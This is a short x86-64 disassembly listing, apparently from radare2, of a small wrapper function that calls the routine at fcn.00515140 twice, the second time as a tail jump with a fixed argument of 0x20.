push r12
sub rsp, 0x20
mov r12, rcx
movsxd r8, r8d
call fcn.00515140
mov r8d, 0x20
mov rdx, r12
mov rcx, r12
add rsp, 0x20
pop r12
jmp fcn.00515140